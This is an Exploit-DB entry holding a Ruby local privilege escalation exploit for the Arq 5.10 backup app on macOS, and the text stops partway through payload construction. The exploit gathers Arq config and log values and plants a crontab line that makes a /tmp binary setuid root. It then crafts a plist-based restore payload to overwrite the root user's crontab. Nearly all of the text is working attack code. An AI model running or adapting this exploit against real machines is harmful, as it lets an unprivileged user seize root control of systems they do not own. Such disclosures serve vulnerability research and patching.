Exploit-DB #43925
Description: Arq 5.10 - Local Privilege Escalation (1)
Type: local
Platform: macos
Date: 2018-01-29
Author: Mark Wadham

Exploit:
#!/usr/bin/env ruby

#################################################################
###### Arq <= 5.10 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html              ######
#################################################################
######                                                     ######
###### Usage:                                              ######
######                                                     ######
###### ./arq_5.10.rb  # stage 1                            ######
######                                                     ######
###### (wait for next Arq backup run)                      ######
######                                                     ######
###### ./arq_5.10.rb  # stage 2                            ######
######                                                     ######
###### if you know the HMAC from a previous run:           ######
######                                                     ######
###### ./arq_5.10.rb stage2 <hmac>                         ######
######                                                     ######
#################################################################
###### USE AT YOUR OWN RISK - THIS WILL OVERWRITE THE ROOT ######
###### USER'S CRONTAB!                                     ######
#################################################################

$binary_target = "/tmp/arq_510_exp"

class Arq510PrivEsc
  def initialize(args)
    @payload_file = ".arq_510_exp_payload"
    @hmac_file = ENV["HOME"] + "/.arq_510_exp_hmac"
    @backup_file = ENV["HOME"] + "/" + @payload_file

    @target = shell("ls -1t ~/Library/Arq/Cache.noindex/ |head -n1")
    @bucket_uuid = shell("grep 'writing head blob key' " +
      "~/Library/Logs/arqcommitter/* |tail -n1 |sed 's/^.*key //' |cut -d " +
      "' ' -f4")
    @computer_uuid = shell("cat ~/Library/Arq/config/app_config.plist |grep " +
      "-A1 #{@target} |tail -n1 |xargs |cut -d '>' -f2 |cut -d '<' -f1")
    @backup_endpoint = shell("cat ~/Library/Arq/config/targets/#{@target}.target " +
      "|grep -A1 '>endpointDescription<' |tail -n1 |xargs |cut -d '>' -f2 " +
      "| cut -d '<' -f1")
    @latest_backup_set = latest_backup_set

    puts "         target: #{@target}"
    puts "    bucket uuid: #{@bucket_uuid}"
    puts "  computer uuid: #{@computer_uuid}"
    puts "backup endpoint: #{@backup_endpoint}"
    puts "  latest backup: #{@latest_backup_set}\n\n"

    if args.length >0
      method = args.shift
      if respond_to? method
        send method, *args
      end
    else
      if File.exist? @hmac_file
        method = :stage2
      else
        method = :stage1
      end

      send method
    end
  end

  def shell(command)
    `#{command}`.chomp
  end

  def latest_backup_set
    shell("grep 'writing head blob' ~/Library/Logs/arqcommitter/* |tail -n1 " +
      "|sed 's/.*key //' |cut -d ' ' -f1")
  end

  def scan_hmac_list
    packsets_path = shell("find ~/Library/Arq/ -type d -name packsets")
    hmac = {}

    shell("strings #{packsets_path}/*-trees.db").split("\n").each do |line|
      if (m = line.match(/[0-9a-fA-F]+/)) and m[0].length == 40
        if !hmac.include? m[0]
          hmac[m[0]] = 1
        end
      end
    end

    hmac
  end

  def stage1
    print "building HMAC cache... "

    hmac = scan_hmac_list

    File.open(@hmac_file, "w") do |f|
      f.write(@latest_backup_set + "\n" + hmac.keys.join("\n"))
    end

    puts "done - stored at #{@hmac_file}"

    print "dropping backup file... "

    File.open(@backup_file, "w") do |f|
      f.write("* * * * * /usr/sbin/chown root:wheel #{$binary_target} &&" +
        "/bin/chmod 4755 #{$binary_target}\n")
    end

    puts "done"
    puts "wait for the next backup run to complete and then run again"
  end

  def stage2(target_hmac=nil)
    if !target_hmac
      if !File.exist? @hmac_file
        raise "hmac list not found."
      end

      print "loading HMAC cache... "

      data = File.read(@hmac_file).split("\n")

      puts "done"

      initial_backup_set = data.shift

      if initial_backup_set == @latest_backup_set
        puts "no new backup created yet"
        exit 1
      end

      hmac = {}
      data.each do |h|
        hmac[h] = 1
      end

      hmac_targets = []

      print "scanning for HMAC targets... "

      scan_hmac_list.keys.each do |h|
        if !hmac[h]
          hmac_targets.push h
        end
      end

      puts "done"

      if hmac_targets.length == 0
        puts "no HMAC targets, unable to continue."
        exit 0
      end

      puts "found #{hmac_targets.length} HMAC targets"

      hmac_targets.each do |hmac|
        attempt_exploit(hmac)
      end
    else
      attempt_exploit(target_hmac)
    end
  end

  def build_payload(hmac)
    d = "\x01\x00\x00\x00\x00\x00\x00\x00"
    e = "\x00\x00\x00\x00\x03"

    @overwrite_path = '/var/at/tabs/root'

    plist = "
<plist version=\"1.0\">
    <dict>
        <key>Endpoint</key>
        <string>#{@backup_endpoint}</string>
        <key>BucketUUID</key>
        <string>#{@bucket_uuid}</string>
        <key>BucketName</key>
        <string>/</string>
        <key>ComputerUUID</key>
        <string>#{@computer_uuid}</string>
        <key>LocalPath</key>
        <string>/</string>
        <key>LocalMountPoint</key>
        <string>/</string>
        <key>StorageType</key>
        <integer>1</integer>
        <key>SkipDuringBackup</key>
        <false></false>
        <key>ExcludeItemsWithTimeMachineExcludeMetadataFlag</key>
        <false></false>
    </dict>
</plist>"

    hex = plist.length.to_s(16).rjust(4,'0')
    plist_size = (hex[0,2].to_i(16).chr + hex[2,2].to_i(16).chr)

    pfl = @payload_file.length.chr
    opl = @overwrite_path.length.chr
    bel =